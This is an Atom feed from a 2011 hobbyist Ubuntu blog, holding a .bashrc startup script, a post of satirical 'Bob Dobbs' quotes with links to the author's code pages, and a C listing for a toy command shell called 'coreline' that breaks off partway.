<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8077722734519074730</id><updated>2011-08-21T22:44:23.469-07:00</updated><category term='nano text editors'/><category term='Google chrom for fedora 11'/><category term='.bashrc bash shell scripts'/><title type='text'>The Philosphy of Open Source</title><subtitle type='html'>UBUNTU Linux &amp; Linux Mint information</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>31</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-7582148653610194384</id><published>2011-06-11T22:43:00.000-07:00</published><updated>2011-06-11T22:46:03.991-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.bashrc bash shell scripts'/><title type='text'>.bashrc startup script</title><content type='html'>&lt;div&gt; echo  "You are logged on $HOSTNAME"&lt;/div&gt;&lt;div&gt; echo  "Additional information:$NC " ; uname -a&lt;/div&gt;&lt;div&gt; echo  "Users logged on:$NC " ; w -h&lt;/div&gt;&lt;div&gt; echo  "Current date :$NC " ; date&lt;/div&gt;&lt;div&gt; echo  "Machine stats :$NC " ; uptime&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;NORMAL="\[\e[0m\]"&lt;/div&gt;&lt;div&gt;RED="\[\e[1;31m\]"&lt;/div&gt;&lt;div&gt;GREEN="\[\e[1;32m\]"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;  if [[ $EUID == 0 ]] ; then&lt;/div&gt;&lt;div&gt;         PS1="$RED\u [ $NORMAL\w$RED ]# $NORMAL"&lt;/div&gt;&lt;div&gt;    else&lt;/div&gt;&lt;div&gt;         export PS1='\[\033[01;32m\]\u@\h\[\033[01;34m\] $PWD \[\033[00m\]$ '&lt;/div&gt;&lt;div&gt;         PS1='\[\033[01;32m\]\u@\h\[\033[01;34m\] $PWD \[\033[00m\]$ '&lt;/div&gt;&lt;div&gt;  fi&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;export EDITOR='nano'&lt;/div&gt;&lt;div&gt;export VISUAL='gedit'&lt;/div&gt;&lt;div&gt;set history=40&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;  if [ "$TERM" != "dumb" ]; then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias rm='rm -i'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias cp='cp -i'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias mv='mv -i'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias dir='ls -ba'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias cls='clear'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias mroe='more'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias ls='ls --color=auto'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias grep='grep --color=auto'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias ll='ls -lA --color=yes'&lt;/div&gt;&lt;div&gt;        alias hist='history'&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;alias vdir='ls --color=auto --format=long'&lt;/div&gt;&lt;div&gt;  fi &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; echo  "Memory stats :$NC " ; free -m&lt;/div&gt;&lt;div&gt; echo  "Disk usage :$NC " ; df -lh&lt;/div&gt;&lt;div&gt; echo  "WiFi IP Address :$NC" ; /sbin/ifconfig wlan0 | awk '/inet/ { print $2 } ' | sed -e s/addr://&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-7582148653610194384?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/7582148653610194384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=7582148653610194384' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/7582148653610194384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/7582148653610194384'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2011/06/bashrc-startup-script.html' title='.bashrc startup script'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-8959241535918193714</id><published>2011-01-24T22:21:00.000-08:00</published><updated>2011-01-24T22:21:34.142-08:00</updated><title type='text'></title><content type='html'>A new project for 2011&lt;p&gt;WEBSITE LINKS TO SOURCE CODE FOR UBUNTU:&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.buckallew.com/Sourcepage/"&gt;Gcc/g++ ANSI C soruce code examples &amp; more&lt;/a&gt;. &lt;a href="http://www.buckallew.com/Sourcepage/source_bin/"&gt;Past versions of sorce code that work with ubuntu.&lt;/a&gt; &lt;/p&gt;&lt;p&gt;I have started A new data-bank of source code. Think of it as A Internet version of a junk yard. sure..  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Famous Jr Bob Dobbs quotes&lt;/em&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;    * "Try Summum. I'm down with masturbatory pleasure."&lt;/p&gt;&lt;p&gt;    * "You'll PAY to know what you really think."&lt;/p&gt;&lt;p&gt;    * "They may be Pink, but their money's still green!"&lt;/p&gt;&lt;p&gt;    * "Don't just eat that hamburger, eat the HELL out of it!"&lt;/p&gt;&lt;p&gt;    * "You know how dumb the average person is? Well, by definition, half of 'em are even dumber than THAT."&lt;/p&gt;&lt;p&gt;    * "I'd like my monkey brains well done."&lt;/p&gt;&lt;p&gt;    * "So far we've had a rain day and a sun day. I think it's time for a snow day."&lt;/p&gt;&lt;p&gt;    * "You don't use your mind to think about your religion."&lt;/p&gt;&lt;p&gt;    * "This 'Church of the SubGenius' is the best scam I ever pulled."&lt;/p&gt;&lt;p&gt;    * "Ivan Stang? Douglas St. Clair Smith? Who are they? I never met the guy."&lt;/p&gt;&lt;p&gt;    * "Pull off your pants, and ROLL AROUND IN YOUR MISTAKES. Then send me your life savings."&lt;/p&gt;&lt;p&gt;    * "Pull the wool over your own eyes."&lt;/p&gt;&lt;p&gt;    * "Fuck `em if they can't take a joke." &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-8959241535918193714?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/8959241535918193714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=8959241535918193714' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/8959241535918193714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/8959241535918193714'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2011/01/new-project-for-2011-website-links-to.html' title=''/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-9157286400779466113</id><published>2011-01-24T22:12:00.000-08:00</published><updated>2011-01-24T22:12:28.331-08:00</updated><title type='text'></title><content type='html'>Basic sub shell idea Version 2.5&lt;p&gt;#include &lt;time.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;grp.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;sys/stat.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;sys/types.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;unistd.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;sys/utsname.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;sys/sysinfo.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;stdio.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;stdlib.h&gt;&lt;/p&gt;&lt;p&gt;#include &lt;string.h&gt;&lt;/p&gt;&lt;p&gt;#define SIZE 256&lt;/p&gt;&lt;p&gt;#define clrscr() printf("\e[1;1H\e[2J")&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;void printFileAsHex(FILE* file);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;char toVisibleCharacter(int byteVal);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;void writeLine(char* lineBuffer, int buflen);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;char upperToHex(int byteVal);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;char lowerToHex(int byteVal);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;char nibbleToHex(int nibble);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;#define LINELEN     16&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;void help_function() {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("\n Index of commands for coreline 2.5Beta \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("----------------------------------------\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("1.  uptime    - total systems up time.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("2.  cls       - clear the screen.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("3.  helpme    - This help screen.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("    Sub commands: help &amp; cmdlist.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("4.  fileinfo  - Basic File info. \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("5.  filesize  - [input1] file size. \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("6.  time      - The Date &amp; Time. \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("7.  typefile  - [input1] dump text file contents.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("8.  remove    - [input1] Remove a file. \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("    Sub commands: del &amp; remove.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("9.  rename    - [input1] [input2] Rename a file. \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("10. hexdump   - [input1] hex dump of file. \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("    Sub commands: hex and/or hexdump. \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("11. shell     - Open a new bash shell, \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("                type exit to return to coreline prompt.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("12. fortune   - A random fortune just for you.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("\n Bash Command line Usage: \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;printf("coreline [input1] [input2] \n\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;return 1;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;int main(int argc, char *argv[])&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;int i, j = 20;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;for( i = 0; i &lt;= j; i ++ ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;if( i == 15) { continue; }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; /*  Start inside the header of the loop  */&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; char name[12];&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; printf("coreline#");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; scanf("%s", &amp;name);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if (strcmp ("fileinfo", name) ==0 ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; char cmpname[256];&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; struct utsname uts;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; struct stat file_stats;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;if ( stat( argv[1], &amp;file_stats) == -1 )  /* get info */&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        perror(argv[1]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    else&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf("filename: %s total size, in bytes: %ld \n", argv[1] ,file_stats.st_size);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" %s last access: %s ", argv[1] ,ctime(&amp;file_stats.st_atime));&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf("%s last modification: %s ", argv[1] ,ctime(&amp;file_stats.st_mtime));&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf("last change: %s ", ctime(&amp;file_stats.st_ctime));&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf("device: %lld ",file_stats.st_dev);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf("** inode: %ld **",file_stats.st_ino);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" protection: %o \n",file_stats.st_mode);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" number of hard links: %d\n",file_stats.st_nlink);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" user ID of owner: %d --",file_stats.st_uid);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" group ID of owner: %d\n",file_stats.st_gid);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" device type (if inode device): %lld\n",file_stats.st_rdev);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" blocksize for filesystem I/O: %ld\n",file_stats.st_blksize);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" number of blocks allocated: %ld\n\n",file_stats.st_blocks);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if(gethostname(cmpname, 255) == 0)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf(" Host    Name : %s\n", cmpname);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if(uname(&amp;uts) == 0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf(" System  Name : %s\n", uts.sysname);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf(" Machine Name : %s\n", uts.machine);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf(" Node    Name : %s\n", uts.nodename);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf(" Release Name : %s\n", uts.release);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf(" Version Name : %s\n", uts.version);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;} else&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if (strcmp ("filesize", name) ==0 ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   struct stat infobuf;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if ( stat( argv[1], &amp;infobuf) == -1 )&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        perror(argv[1]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    else&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf(" The size of %s is %d\n", argv[1], infobuf.st_size );&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; else&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if (strcmp ("uptime", name) ==0 ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  struct sysinfo sys_info;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  struct group* grp;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    gid_t gid;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  int days, hours, mins;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  if(sysinfo(&amp;sys_info) != 0)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    perror("sysinfo");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  days = sys_info.uptime / 86400;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  hours = (sys_info.uptime / 3600) - (days * 24);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  mins = (sys_info.uptime / 60) - (days * 1440) - (hours * 60);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Ubuntu Uptime: %ddays, %dhours, %dminutes, %ldseconds \n", days, hours, mins, sys_info.uptime % 60);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Load Avgs: 1min(%ld) 5min(%ld) 15min(%ld) \n", sys_info.loads[0], sys_info.loads[1], sys_info.loads[2]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Total Ram: %ldk \n", sys_info.totalram / 1024);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Total Free Ram: %ldk \n", sys_info.freeram / 1024);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Total memory units: %ld \n", sys_info.mem_unit);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Shared Ram: %ldk \n", sys_info.sharedram / 1024);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Buffered Ram: %ldk \n", sys_info.bufferram / 1024);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Total Swap: %ldk - Free Swap: %ldk \n", sys_info.totalswap / 1024, sys_info.freeswap / 1024);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Total Number of open processes: %d\n", sys_info.procs);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  gid = getgid();&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;  printf("Group ID: %d ", gid);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if((grp = getgrgid(gid)) == NULL )&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;      return 1;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf("Group %s \n", grp-&gt;gr_name );&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if(strcmp(grp-&gt;gr_passwd,"x") == 0)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;      printf("Password is protected by shadow file.\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    else&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;      printf("Password: %s\n", grp-&gt;gr_passwd);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; 